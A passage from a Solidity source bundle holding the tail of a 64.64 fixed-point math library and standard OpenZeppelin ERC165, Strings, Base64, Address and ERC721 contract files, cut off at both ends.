0x1306FE0A31B7152DE8D5A46305C85EDEC >> 128;\n if (x & 0x2000000000000000 > 0)\n result = result * 0x1172B83C7D517ADCDF7C8C50EB14A791F >> 128;\n if (x & 0x1000000000000000 > 0)\n result = result * 0x10B5586CF9890F6298B92B71842A98363 >> 128;\n if (x & 0x800000000000000 > 0)\n result = result * 0x1059B0D31585743AE7C548EB68CA417FD >> 128;\n if (x & 0x400000000000000 > 0)\n result = result * 0x102C9A3E778060EE6F7CACA4F7A29BDE8 >> 128;\n if (x & 0x200000000000000 > 0)\n result = result * 0x10163DA9FB33356D84A66AE336DCDFA3F >> 128;\n if (x & 0x100000000000000 > 0)\n result = result * 0x100B1AFA5ABCBED6129AB13EC11DC9543 >> 128;\n if (x & 0x80000000000000 > 0)\n result = result * 0x10058C86DA1C09EA1FF19D294CF2F679B >> 128;\n if (x & 0x40000000000000 > 0)\n result = result * 0x1002C605E2E8CEC506D21BFC89A23A00F >> 128;\n if (x & 0x20000000000000 > 0)\n result = result * 0x100162F3904051FA128BCA9C55C31E5DF >> 128;\n if (x & 0x10000000000000 > 0)\n result = result * 0x1000B175EFFDC76BA38E31671CA939725 >> 128;\n if (x & 0x8000000000000 > 0)\n result = result * 0x100058BA01FB9F96D6CACD4B180917C3D >> 128;\n if (x & 0x4000000000000 > 0)\n result = result * 0x10002C5CC37DA9491D0985C348C68E7B3 >> 128;\n if (x & 0x2000000000000 > 0)\n result = result * 0x1000162E525EE054754457D5995292026 >> 128;\n if (x & 0x1000000000000 > 0)\n result = result * 0x10000B17255775C040618BF4A4ADE83FC >> 128;\n if (x & 0x800000000000 > 0)\n result = result * 0x1000058B91B5BC9AE2EED81E9B7D4CFAB >> 128;\n if (x & 0x400000000000 > 0)\n result = result * 0x100002C5C89D5EC6CA4D7C8ACC017B7C9 >> 128;\n if (x & 0x200000000000 > 0)\n result = result * 0x10000162E43F4F831060E02D839A9D16D >> 128;\n if (x & 0x100000000000 > 0)\n result = result * 0x100000B1721BCFC99D9F890EA06911763 >> 128;\n if (x & 0x80000000000 > 0)\n result = result * 0x10000058B90CF1E6D97F9CA14DBCC1628 >> 128;\n if (x & 0x40000000000 > 0)\n result = result * 0x1000002C5C863B73F016468F6BAC5CA2B >> 128;\n if (x & 0x20000000000 > 0)\n result = result * 0x100000162E430E5A18F6119E3C02282A5 >> 128;\n if (x & 0x10000000000 > 0)\n result = result * 0x1000000B1721835514B86E6D96EFD1BFE >> 128;\n if (x & 0x8000000000 > 0)\n result = result * 0x100000058B90C0B48C6BE5DF846C5B2EF >> 128;\n if (x & 0x4000000000 > 0)\n result = result * 0x10000002C5C8601CC6B9E94213C72737A >> 128;\n if (x & 0x2000000000 > 0)\n result = result * 0x1000000162E42FFF037DF38AA2B219F06 >> 128;\n if (x & 0x1000000000 > 0)\n result = result * 0x10000000B17217FBA9C739AA5819F44F9 >> 128;\n if (x & 0x800000000 > 0)\n result = result * 0x1000000058B90BFCDEE5ACD3C1CEDC823 >> 128;\n if (x & 0x400000000 > 0)\n result = result * 0x100000002C5C85FE31F35A6A30DA1BE50 >> 128;\n if (x & 0x200000000 > 0)\n result = result * 0x10000000162E42FF0999CE3541B9FFFCF >> 128;\n if (x & 0x100000000 > 0)\n result = result * 0x100000000B17217F80F4EF5AADDA45554 >> 128;\n if (x & 0x80000000 > 0)\n result = result * 0x10000000058B90BFBF8479BD5A81B51AD >> 128;\n if (x & 0x40000000 > 0)\n result = result * 0x1000000002C5C85FDF84BD62AE30A74CC >> 128;\n if (x & 0x20000000 > 0)\n result = result * 0x100000000162E42FEFB2FED257559BDAA >> 128;\n if (x & 0x10000000 > 0)\n result = result * 0x1000000000B17217F7D5A7716BBA4A9AE >> 128;\n if (x & 0x8000000 > 0)\n result = result * 0x100000000058B90BFBE9DDBAC5E109CCE >> 128;\n if (x & 0x4000000 > 0)\n result = result * 0x10000000002C5C85FDF4B15DE6F17EB0D >> 128;\n if (x & 0x2000000 > 0)\n result = result * 0x1000000000162E42FEFA494F1478FDE05 >> 128;\n if (x & 0x1000000 > 0)\n result = result * 0x10000000000B17217F7D20CF927C8E94C >> 128;\n if (x & 0x800000 > 0)\n result = result * 0x1000000000058B90BFBE8F71CB4E4B33D >> 128;\n if (x & 0x400000 > 0)\n result = result * 0x100000000002C5C85FDF477B662B26945 >> 128;\n if (x & 0x200000 > 0)\n result = result * 0x10000000000162E42FEFA3AE53369388C >> 128;\n if (x & 0x100000 > 0)\n result = result * 0x100000000000B17217F7D1D351A389D40 >> 128;\n if (x & 0x80000 > 0)\n result = result * 0x10000000000058B90BFBE8E8B2D3D4EDE >> 128;\n if (x & 0x40000 > 0)\n result = result * 0x1000000000002C5C85FDF4741BEA6E77E >> 128;\n if (x & 0x20000 > 0)\n result = result * 0x100000000000162E42FEFA39FE95583C2 >> 128;\n if (x & 0x10000 > 0)\n result = result * 0x1000000000000B17217F7D1CFB72B45E1 >> 128;\n if (x & 0x8000 > 0)\n result = result * 0x100000000000058B90BFBE8E7CC35C3F0 >> 128;\n if (x & 0x4000 > 0)\n result = result * 0x10000000000002C5C85FDF473E242EA38 >> 128;\n if (x & 0x2000 > 0)\n result = result * 0x1000000000000162E42FEFA39F02B772C >> 128;\n if (x & 0x1000 > 0)\n result = result * 0x10000000000000B17217F7D1CF7D83C1A >> 128;\n if (x & 0x800 > 0)\n result = result * 0x1000000000000058B90BFBE8E7BDCBE2E >> 128;\n if (x & 0x400 > 0)\n result = result * 0x100000000000002C5C85FDF473DEA871F >> 128;\n if (x & 0x200 > 0)\n result = result * 0x10000000000000162E42FEFA39EF44D91 >> 128;\n if (x & 0x100 > 0)\n result = result * 0x100000000000000B17217F7D1CF79E949 >> 128;\n if (x & 0x80 > 0)\n result = result * 0x10000000000000058B90BFBE8E7BCE544 >> 128;\n if (x & 0x40 > 0)\n result = result * 0x1000000000000002C5C85FDF473DE6ECA >> 128;\n if (x & 0x20 > 0)\n result = result * 0x100000000000000162E42FEFA39EF366F >> 128;\n if (x & 0x10 > 0)\n result = result * 0x1000000000000000B17217F7D1CF79AFA >> 128;\n if (x & 0x8 > 0)\n result = result * 0x100000000000000058B90BFBE8E7BCD6D >> 128;\n if (x & 0x4 > 0)\n result = result * 0x10000000000000002C5C85FDF473DE6B2 >> 128;\n if (x & 0x2 > 0)\n result = result * 0x1000000000000000162E42FEFA39EF358 >> 128;\n if (x & 0x1 > 0)\n result = result * 0x10000000000000000B17217F7D1CF79AB >> 128;\n\n result >>= uint256 (int256 (63 - (x >> 64)));\n require (result <= uint256 (int256 (MAX_64x64)));\n\n return int128 (int256 (result));\n }\n }\n\n /**\n * Calculate natural exponent of x. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function exp (int128 x) internal pure returns (int128) {\n unchecked {\n require (x < 0x400000000000000000); // Overflow\n\n if (x < -0x400000000000000000) return 0; // Underflow\n\n return exp_2 (\n int128 (int256 (x) * 0x171547652B82FE1777D0FFDA0D23A7D12 >> 128));\n }\n }\n\n /**\n * Calculate x / y rounding towards zero, where x and y are unsigned 256-bit\n * integer numbers. Revert on overflow or when y is zero.\n *\n * @param x unsigned 256-bit integer number\n * @param y unsigned 256-bit integer number\n * @return unsigned 64.64-bit fixed point number\n */\n function divuu (uint256 x, uint256 y) private pure returns (uint128) {\n unchecked {\n require (y != 0);\n\n uint256 result;\n\n if (x <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)\n result = (x << 64) / y;\n else {\n uint256 msb = 192;\n uint256 xc = x >> 192;\n if (xc >= 0x100000000) { xc >>= 32; msb += 32; }\n if (xc >= 0x10000) { xc >>= 16; msb += 16; }\n if (xc >= 0x100) { xc >>= 8; msb += 8; }\n if (xc >= 0x10) { xc >>= 4; msb += 4; }\n if (xc >= 0x4) { xc >>= 2; msb += 2; }\n if (xc >= 0x2) msb += 1; // No need to shift xc anymore\n\n result = (x << 255 - msb) / ((y - 1 >> msb - 191) + 1);\n require (result <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n\n uint256 hi = result * (y >> 128);\n uint256 lo = result * (y & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n\n uint256 xh = x >> 192;\n uint256 xl = x << 64;\n\n if (xl < lo) xh -= 1;\n xl -= lo; // We rely on overflow behavior here\n lo = hi << 128;\n if (xl < lo) xh -= 1;\n xl -= lo; // We rely on overflow behavior here\n\n assert (xh == hi >> 128);\n\n result += xl / y;\n }\n\n require (result <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n return uint128 (result);\n }\n }\n\n /**\n * Calculate sqrt (x) rounding down, where x is unsigned 256-bit integer\n * number.\n *\n * @param x unsigned 256-bit integer number\n * @return unsigned 128-bit integer number\n */\n function sqrtu (uint256 x) private pure returns (uint128) {\n unchecked {\n if (x == 0) return 0;\n else {\n uint256 xx = x;\n uint256 r = 1;\n if (xx >= 0x100000000000000000000000000000000) { xx >>= 128; r <<= 64; }\n if (xx >= 0x10000000000000000) { xx >>= 64; r <<= 32; }\n if (xx >= 0x100000000) { xx >>= 32; r <<= 16; }\n if (xx >= 0x10000) { xx >>= 16; r <<= 8; }\n if (xx >= 0x100) { xx >>= 8; r <<= 4; }\n if (xx >= 0x10) { xx >>= 4; r <<= 2; }\n if (xx >= 0x4) { r <<= 1; }\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1; // Seven iterations should be enough\n uint256 r1 = x / r;\n return uint128 (r < r1 ? r : r1);\n }\n }\n }\n}\n"
},
"@openzeppelin/contracts/utils/introspection/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165 {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n"
},
"@openzeppelin/contracts/utils/introspection/ERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC165.sol\";\n\n/**\n * @dev Implementation of the {IERC165} interface.\n *\n * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\n * for the additional interface id that will be supported. For example:\n *\n * ```solidity\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);\n * }\n * ```\n *\n * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\n */\nabstract contract ERC165 is IERC165 {\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n return interfaceId == type(IERC165).interfaceId;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Strings.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Strings.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev String operations.\n */\nlibrary Strings {\n bytes16 private constant _HEX_SYMBOLS = \"0123456789abcdef\";\n uint8 private constant _ADDRESS_LENGTH = 20;\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\n */\n function toString(uint256 value) internal pure returns (string memory) {\n // Inspired by OraclizeAPI's implementation - MIT licence\n // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol\n\n if (value == 0) {\n return \"0\";\n }\n uint256 temp = value;\n uint256 digits;\n while (temp != 0) {\n digits++;\n temp /= 10;\n }\n bytes memory buffer = new bytes(digits);\n while (value != 0) {\n digits -= 1;\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\n value /= 10;\n }\n return string(buffer);\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.\n */\n function toHexString(uint256 value) internal pure returns (string memory) {\n if (value == 0) {\n return \"0x00\";\n }\n uint256 temp = value;\n uint256 length = 0;\n while (temp != 0) {\n length++;\n temp >>= 8;\n }\n return toHexString(value, length);\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.\n */\n function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {\n bytes memory buffer = new bytes(2 * length + 2);\n buffer[0] = \"0\";\n buffer[1] = \"x\";\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = _HEX_SYMBOLS[value & 0xf];\n value >>= 4;\n }\n require(value == 0, \"Strings: hex length insufficient\");\n return string(buffer);\n }\n\n /**\n * @dev Converts an `address` with fixed length of 20 bytes to its not checksummed ASCII `string` hexadecimal representation.\n */\n function toHexString(address addr) internal pure returns (string memory) {\n return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH);\n }\n}\n"
},
"@openzeppelin/contracts/utils/Context.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Provides information about the current execution context, including the\n * sender of the transaction and its data. While these are generally available\n * via msg.sender and msg.data, they should not be accessed in such a direct\n * manner, since when dealing with meta-transactions the account sending and\n * paying for execution may not be the actual sender (as far as an application\n * is concerned).\n *\n * This contract is only required for intermediate, library-like contracts.\n */\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Base64.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Base64.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Provides a set of functions to operate with Base64 strings.\n *\n * _Available since v4.5._\n */\nlibrary Base64 {\n /**\n * @dev Base64 Encoding/Decoding Table\n */\n string internal constant _TABLE = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\";\n\n /**\n * @dev Converts a `bytes` to its Bytes64 `string` representation.\n */\n function encode(bytes memory data) internal pure returns (string memory) {\n /**\n * Inspired by Brecht Devos (Brechtpd) implementation - MIT licence\n * https://github.com/Brechtpd/base64/blob/e78d9fd951e7b0977ddca77d92dc85183770daf4/base64.sol\n */\n if (data.length == 0) return \"\";\n\n // Loads the table into memory\n string memory table = _TABLE;\n\n // Encoding takes 3 bytes chunks of binary data from `bytes` data parameter\n // and split into 4 numbers of 6 bits.\n // The final Base64 length should be `bytes` data length multiplied by 4/3 rounded up\n // - `data.length + 2` -> Round up\n // - `/ 3` -> Number of 3-bytes chunks\n // - `4 *` -> 4 characters for each chunk\n string memory result = new string(4 * ((data.length + 2) / 3));\n\n /// @solidity memory-safe-assembly\n assembly {\n // Prepare the lookup table (skip the first \"length\" byte)\n let tablePtr := add(table, 1)\n\n // Prepare result pointer, jump over length\n let resultPtr := add(result, 32)\n\n // Run over the input, 3 bytes at a time\n for {\n let dataPtr := data\n let endPtr := add(data, mload(data))\n } lt(dataPtr, endPtr) {\n\n } {\n // Advance 3 bytes\n dataPtr := add(dataPtr, 3)\n let input := mload(dataPtr)\n\n // To write each character, shift the 3 bytes (18 bits) chunk\n // 4 times in blocks of 6 bits for each character (18, 12, 6, 0)\n // and apply logical AND with 0x3F which is the number of\n // the previous character in the ASCII table prior to the Base64 Table\n // The result is then added to the table to get the character to write,\n // and finally write it in the result pointer but with a left shift\n // of 256 (1 byte) - 8 (1 ASCII char) = 248 bits\n\n mstore8(resultPtr, mload(add(tablePtr, and(shr(18, input), 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n\n mstore8(resultPtr, mload(add(tablePtr, and(shr(12, input), 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n\n mstore8(resultPtr, mload(add(tablePtr, and(shr(6, input), 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n\n mstore8(resultPtr, mload(add(tablePtr, and(input, 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n }\n\n // When data `bytes` is not exactly 3 bytes long\n // it is padded with `=` characters at the end\n switch mod(mload(data), 3)\n case 1 {\n mstore8(sub(resultPtr, 1), 0x3d)\n mstore8(sub(resultPtr, 2), 0x3d)\n }\n case 2 {\n mstore8(sub(resultPtr, 1), 0x3d)\n }\n }\n\n return result;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Address.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Address.sol)\n\npragma solidity ^0.8.1;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n *\n * [IMPORTANT]\n * ====\n * You shouldn't rely on `isContract` to protect against flash loan attacks!\n *\n * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n * constructor.\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize/address.code.length, which returns 0\n // for contracts in construction, since the code is only stored at the end\n // of the constructor execution.\n\n return account.code.length > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCall(target, data, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n require(isContract(target), \"Address: call to non-contract\");\n\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n require(isContract(target), \"Address: static call to non-contract\");\n\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(isContract(target), \"Address: delegate call to non-contract\");\n\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n }\n}\n"
},
"@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC721.sol\";\n\n/**\n * @title ERC-721 Non-Fungible Token Standard, optional metadata extension\n * @dev See https://eips.ethereum.org/EIPS/eip-721\n */\ninterface IERC721Metadata is IERC721 {\n /**\n * @dev Returns the token collection name.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the token collection symbol.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.\n */\n function tokenURI(uint256 tokenId) external view returns (string memory);\n}\n"
},
"@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721Receiver.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @title ERC721 token receiver interface\n * @dev Interface for any contract that wants to support safeTransfers\n * from ERC721 asset contracts.\n */\ninterface IERC721Receiver {\n /**\n * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}\n * by `operator` from `from`, this function is called.\n *\n * It must return its Solidity selector to confirm the token transfer.\n * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.\n *\n * The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`.\n */\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}\n"
},
"@openzeppelin/contracts/token/ERC721/IERC721.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC721/IERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Required interface of an ERC721 compliant contract.\n */\ninterface IERC721 is IERC165 {\n /**\n * @dev Emitted when `tokenId` token is transferred from `from` to `to`.\n */\n event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.\n */\n event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.\n */\n event ApprovalForAll(address indexed owner, address indexed operator, bool approved);\n\n /**\n * @dev Returns the number of tokens in ``owner``'s account.\n */\n function balanceOf(address owner) external view returns (uint256 balance);\n\n /**\n * @dev Returns the owner of the `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function ownerOf(uint256 tokenId) external view returns (address owner);\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes calldata data\n ) external;\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must have been allowed to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Transfers `tokenId` token from `from` to `to`.\n *\n * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Gives permission to `to` to transfer `tokenId` token to another account.\n * The approval is cleared when the token is transferred.\n *\n * Only a single account can be approved at a time, so approving the zero address clears previous approvals.\n *\n * Requirements:\n *\n * - The caller must own the token or be an approved operator.\n * - `tokenId` must exist.\n *\n * Emits an {Approval} event.\n */\n function approve(address to, uint256 tokenId) external;\n\n /**\n * @dev Approve or remove `operator` as an operator for the caller.\n * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.\n *\n * Requirements:\n *\n * - The `operator` cannot be the caller.\n *\n * Emits an {ApprovalForAll} event.\n */\n function setApprovalForAll(address operator, bool _approved) external;\n\n /**\n * @dev Returns the account approved for `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function getApproved(uint256 tokenId) external view returns (address operator);\n\n /**\n * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.\n *\n * See {setApprovalForAll}\n */\n function isApprovedForAll(address owner, address operator) external view returns (bool);\n}\n"
},
"@openzeppelin/contracts/token/ERC721/ERC721.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC721/ERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC721.sol\";\nimport \"./IERC721Receiver.sol\";\nimport \"./extensions/IERC721Metadata.sol\";\nimport \"../../utils/Address.sol\";\nimport \"../../utils/Context.sol\";\nimport \"../../utils/Strings.sol\";\nimport \"../../utils/introspection/ERC165.sol\";\n\n/**\n * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including\n * the Metadata extension, but not including the Enumerable extension, which is available separately as\n * {ERC721Enumerable}.\n */\ncontract ERC721 is Context, ERC165, IERC721, IERC721Metadata {\n using Address for address;\n using Strings for uint256;\n\n // Token name\n string private _name;\n\n // Token symbol\n string private _symbol;\n\n // Mapping from token ID to owner address\n mapping(uint256 => address) private _owners;\n\n // Mapping owner address to token count\n mapping(address => uint256) private _balances;\n\n // Mapping from token ID to approved address\n mapping(uint256 => address) private _tokenApprovals;\n\n // Mapping from owner to operator approvals\n mapping(address => mapping(address => bool)) private _operatorApprovals;\n\n /**\n * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.\n */\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns 